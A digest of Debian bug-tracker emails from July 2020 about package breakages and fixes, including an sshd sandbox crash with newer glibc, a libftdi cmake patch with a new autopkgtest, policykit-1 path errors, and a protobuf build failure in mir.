Updating libc on stable breaks sshd; it dies with a SIGSYS on 
clock_nanosleep.

https://www.openssh.com/releasenotes.html says
  - Allow clock_nanosleep() in sandbox (recent glibc) bz3093

and indeed updating openssh-server to 1:8.3p1-1 makes it work again.

Please update OpenSSH on stable!!

Bug#965173: [Pkg-javascript-devel] Bug#965173: Bug#965173: Bug#965173: node-rollup-plugin-buble build depends on the babeljs provides that will not be in bullseye

[Xavier]

Le 17/07/2020 à 12:15, Jonas Smedegaard a écrit :
> Quoting Pirate Praveen (2020-07-17 11:50:17)
>>
>>
>> On 2020, ജൂലൈ 17 12:12:09 PM IST, Adrian Bunk  wrote:
>>> Source: node-rollup-plugin-buble
>>> Version: 0.19.8-2
>>> Severity: serious
>>> Tags: ftbfs
>>> Control: block 960748 by -1
>>>
>>> node-rollup-plugin-buble build depends on the babeljs provides
>>> that will not be in bullseye due to #960748.
>>
>> I think we should add Provides: babeljs to node-babel7.
> 
> Only if it provides unversioned executable babeljs.
> 
> That should probably be done using dh_installalternatives.

Alternative is already declared (node-babel provides /usr/bin/babeljs-6
and node-babel7 provides /usr/bin/babeljs-7 and both provides
alternatives to /usr/bin/babeljs), we just have to add "babeljs" in
"Provides" field. I suggests also to add "${nodejs:Provides}" to declare
all installed modules.

Cheers,
Xavier

Bug#965180: openssh-server: Incompatible with libc6=2.31-1, doesn't allow to login!

[Colin Watson]

On Fri, Jul 17, 2020 at 10:29:18AM +0200, Philipp Marek wrote:
> Package: openssh-server
> Version: 1:7.9p1-10+deb10u2
> Severity: critical
> Justification: breaks the whole system
> 
> 
> Updating libc on stable breaks sshd; it dies with a SIGSYS on 
> clock_nanosleep.

I agree it might be worth backporting this fix, but why would you be
updating libc on stable?  (The only reason I can think of would be
partial upgrades to bullseye, which is hardly Severity: critical yet.)

-- 
Colin Watson (he/him)  [cjwat...@debian.org]

Bug#965177: libftdi: ships broken cmake file

[Gianfranco Costamagna]

Hello,

I'm attaching a tested patch that also adds a new autopkgtest that spots this 
kind of failures in the future.

(the diff fixes also #965175)

G.
diff -Nru libftdi1-1.5/debian/changelog libftdi1-1.5/debian/changelog
--- libftdi1-1.5/debian/changelog   2020-07-14 23:32:06.0 +0200
+++ libftdi1-1.5/debian/changelog   2020-07-17 08:57:55.0 +0200
@@ -1,3 +1,11 @@
+libftdi1 (1.5-4) unstable; urgency=medium
+
+  * Mark one symbol as optional, disappearing on ppc64el with -O3 (Closes: 
#965175)
+  * Add again the LIBDIR in rules file to make the cmake script happy (Closes: 
#965177)
+  * Add an autopkgtest to test cmake scripts
+
+ -- Gianfranco Costamagna   Fri, 17 Jul 2020 
08:57:55 +0200
+
 libftdi1 (1.5-3) unstable; urgency=medium
 
   * Redirect autopkgtests stderr output to stdout.
diff -Nru libftdi1-1.5/debian/libftdipp1-3.symbols 
libftdi1-1.5/debian/libftdipp1-3.symbols
--- libftdi1-1.5/debian/libftdipp1-3.symbols2020-06-27 14:53:49.0 
+0200
+++ libftdi1-1.5/debian/libftdipp1-3.symbols2020-07-17 08:57:46.0 
+0200
@@ -105,7 +105,7 @@
  _ZNK4Ftdi4List6rbeginEv@Base 1.5
  _ZNK4Ftdi7Context20get_usb_read_timeoutEv@Base 1.5
  _ZNK4Ftdi7Context21get_usb_write_timeoutEv@Base 1.5
- _ZNSt7__cxx1110_List_baseIN4Ftdi7ContextESaIS2_EE8_M_clearEv@Base 1.5
+ (optional)_ZNSt7__cxx1110_List_baseIN4Ftdi7ContextESaIS2_EE8_M_clearEv@Base 
1.5
  _ZTIN5boost6detail15sp_counted_baseE@Base 1.5
  _ZTIN5boost6detail17sp_counted_impl_pIN4Ftdi4List7PrivateEEE@Base 1.5
  _ZTIN5boost6detail17sp_counted_impl_pIN4Ftdi6Eeprom7PrivateEEE@Base 1.5
diff -Nru libftdi1-1.5/debian/rules libftdi1-1.5/debian/rules
--- libftdi1-1.5/debian/rules   2020-07-13 11:23:42.0 +0200
+++ libftdi1-1.5/debian/rules   2020-07-17 08:57:55.0 +0200
@@ -11,6 +11,7 @@
 override_dh_auto_configure:
dh_auto_configure --builddirectory=build-main -- \
-DBUILD_TESTS=ON \
+   -DCMAKE_INSTALL_LIBDIR="/usr/lib/$(DEB_HOST_MULTIARCH)" \
-DDOCUMENTATION:BOOL=ON \
-DEXAMPLES:BOOL=ON \
-DFTDIPP:BOOL=ON \
@@ -19,6 +20,7 @@
for v in $(PY3VERS) ; do \
dh_auto_configure --builddirectory=build-python$$v -- \
-DBUILD_TESTS=OFF \
+   -DCMAKE_INSTALL_LIBDIR="/usr/lib/$(DEB_HOST_MULTIARCH)" 
\
-DDOCUMENTATION:BOOL=OFF \
-DEXAMPLES:BOOL=OFF \
-DFTDIPP:BOOL=ON \
diff -Nru libftdi1-1.5/debian/tests/control libftdi1-1.5/debian/tests/control
--- libftdi1-1.5/debian/tests/control   2020-07-12 14:45:44.0 +0200
+++ libftdi1-1.5/debian/tests/control   2020-07-17 08:57:55.0 +0200
@@ -1,2 +1,5 @@
 Tests: test-libftdi1
 Depends: build-essential, libftdi1-dev, libboost-test-dev, pkg-config
+
+Tests: test-libftdi1-cmake
+Depends: build-essential, libftdi1-dev, libboost-test-dev, cmake
diff -Nru libftdi1-1.5/debian/tests/test-libftdi1-cmake 
libftdi1-1.5/debian/tests/test-libftdi1-cmake
--- libftdi1-1.5/debian/tests/test-libftdi1-cmake   1970-01-01 
01:00:00.0 +0100
+++ libftdi1-1.5/debian/tests/test-libftdi1-cmake   2020-07-17 
08:57:55.0 +0200
@@ -0,0 +1,38 @@
+#!/bin/sh
+
+set -e
+
+WORKDIR=$(mktemp -d)
+cat << EOF > $WORKDIR/CMakeLists.txt
+cmake_minimum_required(VERSION 3.16)
+project(test)
+find_package(LibFTDI1)
+
+message(STATUS "Include directories: " \${LIBFTDI_INCLUDE_DIRS})
+message(STATUS "Link directories: " \${LIBFTDI_LIBRARY_DIRS})
+message(STATUS "Libraries: " \${LIBFTDI_LIBRARIES})
+
+add_library(imp_ftdi INTERFACE IMPORTED)
+set_target_properties(imp_ftdi
+ PROPERTIES
+ INTERFACE_INCLUDE_DIRECTORIES "\${LIBFTDI_INCLUDE_DIRS}"
+ INTERFACE_LINK_DIRECTORIES "\${LIBFTDI_LIBRARY_DIRS}"
+ INTERFACE_LINK_LIBRARIES "\${LIBFTDI_LIBRARIES}"
+ )
+
+add_executable(test-libftdi1-cmake basic.cpp baudrate.cpp)
+include_directories("\${LIBFTDI_INCLUDE_DIRS}")
+target_link_libraries(test-libftdi1-cmake PRIVATE imp_ftdi 
boost_unit_test_framework)
+EOF
+
+trap "rm -rf $WORKDIR" 0 INT QUIT ABRT PIPE TERM
+
+cp test/basic.cpp test/baudrate.cpp $WORKDIR
+cd $WORKDIR
+cmake .
+make VERBOSE=1
+
+echo "build: OK"
+[ -x $WORKDIR/test-libftdi1-cmake ]
+$WORKDIR/test-libftdi1-cmake 2>&1
+echo "run: OK"

Bug#965173: [Pkg-javascript-devel] Bug#965173: Bug#965173: node-rollup-plugin-buble build depends on the babeljs provides that will not be in bullseye

[Jonas Smedegaard]

Quoting Pirate Praveen (2020-07-17 11:50:17)
> 
> 
> On 2020, ജൂലൈ 17 12:12:09 PM IST, Adrian Bunk  wrote:
> >Source: node-rollup-plugin-buble
> >Version: 0.19.8-2
> >Severity: serious
> >Tags: ftbfs
> >Control: block 960748 by -1
> >
> >node-rollup-plugin-buble build depends on the babeljs provides
> >that will not be in bullseye due to #960748.
> 
> I think we should add Provides: babeljs to node-babel7.

Only if it provides unversioned executable babeljs.

That should probably be done using dh_installalternatives.

 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#962550: marked as done (libgclib1: ABI break without soname change)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 10:00:14 +
with message-id 
and subject line Bug#962550: fixed in libgclib 0.11.9-2
has caused the Debian Bug report #962550,
regarding libgclib1: ABI break without soname change
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
962550: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=962550
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: libgclib, gffread
Control: found -1 libgclib/0.11.9-1
Control: found -1 gffread/0.11.8-1
Severity: serious
Tags: sid bullseye
X-Debbugs-CC: debian...@lists.debian.org
User: debian...@lists.debian.org
Usertags: breaks needs-update

Dear maintainer(s),

With a recent upload of libgclib the autopkgtest of gffread fails in
testing when that autopkgtest is run with the binary packages of
libgclib from unstable. It passes when run with only packages from
testing. In tabular form:

   passfail
libgclib   from testing0.11.9-1
gffreadfrom testing0.11.8-1
all others from testingfrom testing

I copied some of the output at the bottom of this report.

Currently this regression is blocking the migration of libgclib to
testing [1]. Due to the nature of this issue, I filed this bug report
against both packages. Can you please investigate the situation and
reassign the bug to the right package?

More information about this bug and the reason for filing it can be found on
https://wiki.debian.org/ContinuousIntegration/RegressionEmailInformation

Paul

[1] https://qa.debian.org/excuses.php?package=libgclib

https://ci.debian.net/data/autopkgtest/testing/amd64/g/gffread/5834728/log.gz

/usr/share/doc/augustus/tutorial/data/hints.rnaseq.intron.gff:
/usr/share/doc/augustus/tutorial/results/abinitio-browser.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8435 Segmentation fault  gffread ${gff} > /dev/null
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8436 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/doc/augustus/tutorial/results/augustus-ppx.gff:
GHash.hh(244): ASSERT(hash[i].hash<0) failed.
/usr/share/doc/augustus/tutorial/results/hints.est.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8438 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/doc/augustus/tutorial/results/hints.gff:
/usr/share/doc/augustus/tutorial/results/hints.rnaseq.ep.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8439 Segmentation fault  gffread ${gff} > /dev/null
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8440 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/doc/augustus/tutorial/results/output-abinitio.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8441 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/doc/augustus/tutorial/results/output-browser.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8442 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/doc/augustus/tutorial/results/output.gff: GHash.hh(244):
ASSERT(hash[i].hash<0) failed.
/usr/share/doc/augustus/tutorial/results/scipio.gff: GHash.hh(244):
ASSERT(hash[i].hash<0) failed.
/usr/share/bedtools/test/fisher/tumor.gff: GHash.hh(244):
ASSERT(hash[i].hash<0) failed.
/usr/share/bedtools/test/intersect/b.issue311.gff:
/usr/share/bedtools/test/intersect/gdc.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8450 Segmentation fault  gffread ${gff} > /dev/null
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8451 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/bedtools/test/map/test.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8452 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/bedtools/test/merge/a.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8453 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/doc/cnvkit/examples/test/formats/example.gff:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8458 Segmentation fault  gffread ${gff} > /dev/null
/usr/share/EMBOSS/data/Efeatures.gff2:
/tmp/autopkgtest-lxc.3lbnjzpz/downtmp/build.25M/src/debian/tests/run-tests:
line 109:  8463 Segmentation fault  

Bug#965019: marked as done (mir FTBFS with protobuf 3.12.3)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 10:00:23 +
with message-id 
and subject line Bug#965019: fixed in mir 1.8.0+dfsg1-1
has caused the Debian Bug report #965019,
regarding mir FTBFS with protobuf 3.12.3
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
965019: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965019
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: mir
Version: 1.7.0+dfsg1-1
Severity: serious
Tags: ftbfs

https://buildd.debian.org/status/package.php?p=mir=sid

...
/<>/src/server/frontend/protobuf_responder.cpp: In member function 
‘virtual void 
mir::frontend::detail::ProtobufResponder::send_response(google::protobuf::uint32,
 google::protobuf::MessageLite*, const FdSets&)’:
/<>/src/server/frontend/protobuf_responder.cpp:42:69: error: ‘int 
google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use 
ByteSizeLong() instead [-Werror=deprecated-declarations]
   42 | send_response_buffer{static_cast(response->ByteSize())};
  | ^
In file included from /usr/include/google/protobuf/generated_enum_util.h:36,
 from /usr/include/google/protobuf/map.h:55,
 from 
/usr/include/google/protobuf/generated_message_table_driven.h:34,
 from 
/<>/build-arm64/src/protobuf/mir_protobuf_wire.pb.h:26,
 from 
/<>/src/server/frontend/protobuf_responder.h:23,
 from 
/<>/src/server/frontend/protobuf_responder.cpp:19:
/usr/include/google/protobuf/message_lite.h:420:7: note: declared here
  420 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }
  |   ^~~~
...
--- End Message ---
--- Begin Message ---
Source: mir
Source-Version: 1.8.0+dfsg1-1
Done: Mike Gabriel 

We believe that the bug you reported is fixed in the latest version of
mir, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 965...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Mike Gabriel  (supplier of updated mir package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Tue, 14 Jul 2020 08:17:04 +0200
Source: mir
Binary: libmiral-dev libmiral3 libmiral3-dbgsym libmirclient-dev libmirclient9 
libmirclient9-dbgsym libmircommon-dev libmircommon7 libmircommon7-dbgsym 
libmircookie-dev libmircookie2 libmircookie2-dbgsym libmircore-dev libmircore1 
libmircore1-dbgsym libmirplatform-dev libmirplatform18 libmirplatform18-dbgsym 
libmirprotobuf3 libmirprotobuf3-dbgsym libmirrenderer-dev libmirserver-dev 
libmirserver53 libmirserver53-dbgsym libmirwayland-bin libmirwayland-bin-dbgsym 
libmirwayland-dev libmirwayland0 libmirwayland0-dbgsym 
mir-client-platform-mesa-dev mir-client-platform-mesa5 
mir-client-platform-mesa5-dbgsym mir-demos mir-demos-dbgsym mir-doc 
mir-graphics-drivers-desktop mir-graphics-drivers-nvidia 
mir-platform-graphics-eglstream-kms16 
mir-platform-graphics-eglstream-kms16-dbgsym mir-platform-graphics-mesa-kms16 
mir-platform-graphics-mesa-kms16-dbgsym mir-platform-graphics-mesa-x16 
mir-platform-graphics-mesa-x16-dbgsym mir-platform-graphics-wayland16
 mir-platform-graphics-wayland16-dbgsym mir-platform-input-evdev7 
mir-platform-input-evdev7-dbgsym mir-renderer-gl-dev mir-test-tools 
mir-test-tools-dbgsym mir-utils mir-utils-dbgsym mirtest-dev
 python3-mir-perf-framework
Architecture: source amd64 all
Version: 1.8.0+dfsg1-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Mir Team 
Changed-By: Mike Gabriel 
Description:
 libmiral-dev - Mir Display Server - ABI preserving abstraction layer - 
developme
 libmiral3  - Mir Display Server - ABI preserving abstraction layer
 libmirclient-dev - Mir Display Server - client library - development headers
 libmirclient9 - Mir Display Server - client library
 libmircommon-dev - Mir Display Server - common library - development headers
 libmircommon7 - Mir Display Server - common library
 libmircookie-dev - Mir Display Server - spoof-resistant timestamps - cookie 
developm
 libmircookie2 - Mir Display Server - spoof-resistant timestamps - runtime 
library
 libmircore-dev - Mir 

Bug#965183: python3-intake{,-doc}: both ship /usr/share/man/man1/intake.1.gz

[Andreas Beckmann]

Package: python3-intake,python3-intake-doc
Version: 0.6.0-2
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install
because it tries to overwrite other packages files.

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package python3-intake-doc.
  Preparing to unpack .../11-python3-intake-doc_0.6.0-2_all.deb ...
  Unpacking python3-intake-doc (0.6.0-2) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-7wFr5I/11-python3-intake-doc_0.6.0-2_all.deb (--unpack):
   trying to overwrite '/usr/share/man/man1/intake.1.gz', which is also in 
package python3-intake 0.6.0-2
  Errors were encountered while processing:
   /tmp/apt-dpkg-install-7wFr5I/11-python3-intake-doc_0.6.0-2_all.deb

cheers,

Andreas


python3-intake=0.6.0-2_python3-intake-doc=0.6.0-2.log.gz
Description: application/gzip

Bug#965173: [Pkg-javascript-devel] Bug#965173: node-rollup-plugin-buble build depends on the babeljs provides that will not be in bullseye

[Pirate Praveen]

On 2020, ജൂലൈ 17 12:12:09 PM IST, Adrian Bunk  wrote:
>Source: node-rollup-plugin-buble
>Version: 0.19.8-2
>Severity: serious
>Tags: ftbfs
>Control: block 960748 by -1
>
>node-rollup-plugin-buble build depends on the babeljs provides
>that will not be in bullseye due to #960748.

I think we should add Provides: babeljs to node-babel7.
-- 
Sent from my Android device with K-9 Mail. Please excuse my brevity.

Bug#964908: tomcat9: Catalina fails to load due to missing MbeansDescriptorsIntrospectionSource

[Adrian Heath]

tomcat9 9.0.37-1~bpo10+1 in buster-backports has the same issue

I have reinstalled tomcat9 using the 9.0.31-1~deb10u1 packages

Bug#965165: marked as done (policykit-1: polkit.service broken after switch to /usr/libexec)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 09:33:52 +
with message-id 
and subject line Bug#965164: fixed in policykit-1 0.105-28
has caused the Debian Bug report #965164,
regarding policykit-1: polkit.service broken after switch to /usr/libexec
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
965164: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965164
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: policykit-1
Version: 0.105-27
Severity: normal
Tags: patch
X-Debbugs-Cc: sedat.di...@gmail.com

Dear Maintainer,

first the installation on upgrade fails like this:

Setting up policykit-1 (0.105-27) ...
chown: cannot access '/usr/lib/policykit-1/polkit-agent-helper-1': No
such file or directory
dpkg: error processing package policykit-1 (--configure):
 installed policykit-1 package post-installation script subprocess
returned error exit status 1

That fixed the installation:

# mkdir -p /usr/lib/policykit-1/polkit-agent-helper-1

But the polkit.service fails to start.

Checking the commits on  revealed there was a move/switch to 
/usr/libexec.

This fixes the issue for me (polkit.service):

--- /lib/systemd/system/polkit.service.orig 2020-07-17 00:50:43.0 
+0200
+++ /lib/systemd/system/polkit.service  2020-07-17 05:34:25.292147729 +0200
@@ -5,4 +5,4 @@ Documentation=man:polkit(8)
 [Service]
 Type=dbus
 BusName=org.freedesktop.PolicyKit1
-ExecStart=/usr/lib/policykit-1/polkitd --no-debug
+ExecStart=/usr/libexec/polkitd --no-debug

Thanks.

Regards,
- Sedat -

[1] 
https://salsa.debian.org/utopia-team/polkit/-/commit/90e87fe8887ee212fa05739f0b549546fea680ff

-- System Information:
Debian Release: bullseye/sid
  APT prefers testing
  APT policy: (500, 'testing'), (99, 'buildd-unstable'), (99, 
'buildd-experimental'), (99, 'experimental'), (99, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.8.0-rc5-9-amd64-llvm11-ias (SMP w/4 CPU threads)
Kernel taint flags: TAINT_UNSIGNED_MODULE
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages policykit-1 depends on:
ii  dbus 1.12.20-1
ii  libc62.31-1
ii  libexpat12.2.9-1
ii  libglib2.0-0 2.64.4-1
ii  libpam-systemd [logind]  245.6-3
ii  libpam0g 1.3.1-5
ii  libpolkit-agent-1-0  0.105-27
ii  libpolkit-gobject-1-00.105-27
ii  libsystemd0  245.6-3

policykit-1 recommends no packages.

policykit-1 suggests no packages.

Versions of packages policykit-1 is related to:
pn  elogind 
pn  libpam-elogind  
ii  libpam-systemd  245.6-3
ii  systemd 245.6-3

-- no debconf information
--- End Message ---
--- Begin Message ---
Source: policykit-1
Source-Version: 0.105-28
Done: Michael Biebl 

We believe that the bug you reported is fixed in the latest version of
policykit-1, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 965...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Michael Biebl  (supplier of updated policykit-1 package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Fri, 17 Jul 2020 10:49:51 +0200
Source: policykit-1
Architecture: source
Version: 0.105-28
Distribution: unstable
Urgency: medium
Maintainer: Utopia Maintenance Team 

Changed-By: Michael Biebl 
Closes: 965164
Changes:
 policykit-1 (0.105-28) unstable; urgency=medium
 .
   [ TANIGUCHI Takaki ]
   * postinst: Fix polkit-agent-helper-1 path
 .
   [ Michael Biebl ]
   * Fix polkitd path in polkit.service (Closes: #965164)
   * Use --restart-after-upgrade.
 With debhelper 13.1, --no-start will disable --restart-after-upgrade.
 Since we want the service to be restarted on upgrades, request that
 explicitly.
   * Remove old maintscript migration code from pre-oldstable
Checksums-Sha1:
 00cf30c855142e3863e9ba1ea1e3381cde3d1c97 2781 policykit-1_0.105-28.dsc
 b5f505475d55af0772248dcdce5751a332c81ca8 74564 
policykit-1_0.105-28.debian.tar.xz
 76d53aa67ec79156e511b8d411387bd1ea22b76f 8323 

Bug#965164: marked as done (policykit-1: fails to install)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 09:33:52 +
with message-id 
and subject line Bug#965164: fixed in policykit-1 0.105-28
has caused the Debian Bug report #965164,
regarding policykit-1: fails to install
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
965164: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965164
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: policykit-1
Version: 0.105-27
Severity: grave
Justification: renders package unusable

On install:

Setting up policykit-1 (0.105-27) ...
chown: cannot access '/usr/lib/policykit-1/polkit-agent-helper-1': No such file 
or directory


> dpkg -L policykit-1 | grep help
/usr/libexec/polkit-agent-helper-1
--- End Message ---
--- Begin Message ---
Source: policykit-1
Source-Version: 0.105-28
Done: Michael Biebl 

We believe that the bug you reported is fixed in the latest version of
policykit-1, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 965...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Michael Biebl  (supplier of updated policykit-1 package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Fri, 17 Jul 2020 10:49:51 +0200
Source: policykit-1
Architecture: source
Version: 0.105-28
Distribution: unstable
Urgency: medium
Maintainer: Utopia Maintenance Team 

Changed-By: Michael Biebl 
Closes: 965164
Changes:
 policykit-1 (0.105-28) unstable; urgency=medium
 .
   [ TANIGUCHI Takaki ]
   * postinst: Fix polkit-agent-helper-1 path
 .
   [ Michael Biebl ]
   * Fix polkitd path in polkit.service (Closes: #965164)
   * Use --restart-after-upgrade.
 With debhelper 13.1, --no-start will disable --restart-after-upgrade.
 Since we want the service to be restarted on upgrades, request that
 explicitly.
   * Remove old maintscript migration code from pre-oldstable
Checksums-Sha1:
 00cf30c855142e3863e9ba1ea1e3381cde3d1c97 2781 policykit-1_0.105-28.dsc
 b5f505475d55af0772248dcdce5751a332c81ca8 74564 
policykit-1_0.105-28.debian.tar.xz
 76d53aa67ec79156e511b8d411387bd1ea22b76f 8323 
policykit-1_0.105-28_source.buildinfo
Checksums-Sha256:
 e1c80afad644b82e6a4bb4e214270eae351faaa2bcbe3a976d4f566a378e5a2b 2781 
policykit-1_0.105-28.dsc
 d7e6e2166a4e0e8537ada4dff5ee450a4699cee528c42413df09641b59de7267 74564 
policykit-1_0.105-28.debian.tar.xz
 c34fc2db677532333d2bfef8fbc52396626853d36854607f32d21bea5db513a4 8323 
policykit-1_0.105-28_source.buildinfo
Files:
 9c92e414fdcad6e7215f0e3cbac6 2781 admin optional policykit-1_0.105-28.dsc
 b7b2a0744dd2c7a2dff9ee022a4daf32 74564 admin optional 
policykit-1_0.105-28.debian.tar.xz
 beaf174b63ea8d214fe994a5c9546622 8323 admin optional 
policykit-1_0.105-28_source.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEECbOsLssWnJBDRcxUauHfDWCPItwFAl8RabIACgkQauHfDWCP
Itz+WQ//U/p5RPiFnwtxGrO1nV5B74CJjYOZ767E6jPdhRMAuLQnCRm8ifStxPzB
Ywf3gqIUoKvJoAV73y9EFm7RSnV+aFqQ8oDv4SppzqncyudRer+eqfoJvL/Zqfk8
M+cr4vGFy+i9lhn5Ud5Yo3Vocs7F9N0tIhcYkbcsa6ePOFjtQDkMJa7iyuQfwXR1
+txGLYLaDmMFXTGQ+bTNd+63nDj4DvQkJBH8OqXhUl+ADv6dy5F/Ck4NQGWa4LH4
rWlCU010srO7EXGQrkngGKmIia/yuJV5yK7xiekrSTojYD3v16NfQEMpXOlwMhkP
xH3pPlQAeG1pt5zEyxU7BhIHJWCcbyiyv9Tywlm1NuK4FQve8FKvyqmUcCW14Btx
JRK7kjN0OU6GTebMYStPdNh69JbRWsbe4hWLCHtb6dJcML90BMf9QIdKSZ+ntaTG
9liqOjeQO25vkkqGnjoWRyUMh2uqRLf2RGUYJu2NXlNg+t3liwcB62lHtYKCjEA+
GV2/LMXrY8IoTu2KZQimM1ItLs8+jI6AlQ6sbE4ptYRS0oJAaBaw44vNMZCoWCHB
v6qjldrpNOA5i4hpbIsJnJisuJqL6YgZv9wL5dJk441iddIJmYWvKwqZV2nqw6Zn
Y8Kxxz57jbElUaL34VN5AvAW31geNHYy1EjFti+MWxlyPofjjAU=
=Q8Vh
-END PGP SIGNATURE End Message ---

Bug#965164:

[Jonathan Marsaud]

> Sorry for all the inconvenience :-/
I clearly didn't test this properly

Don't worry, we are running Sid so we are prepared for this :-).

Keep the good job, and thanks for your work anyway!

Jonathan Marsaud

Processed: found 965154 in 5.42.1-1

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> found 965154 5.42.1-1
Bug #965154 [maxima] maxima: insecure use of /tmp
Marked as found in versions maxima/5.42.1-1.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
965154: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965154
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: tagging 965154

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 965154 + security
Bug #965154 [maxima] maxima: insecure use of /tmp
Ignoring request to alter tags of bug #965154 to the same tags previously set
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
965154: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965154
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965164: [Pkg-utopia-maintainers] Bug#965164:

[Michael Biebl]

Am 17.07.20 um 11:18 schrieb Jonathan Marsaud:
> Edit: doesn't prevent rebooting but prevent from launching a GNOME or
> Plasma session (freeze after login).

Sorry for all the inconvenience :-/
I clearly didn't test this properly.

I uploaded a fixed package a couple of minutes ago. It should be
available in a few hours.

Regards,
Michael



signature.asc
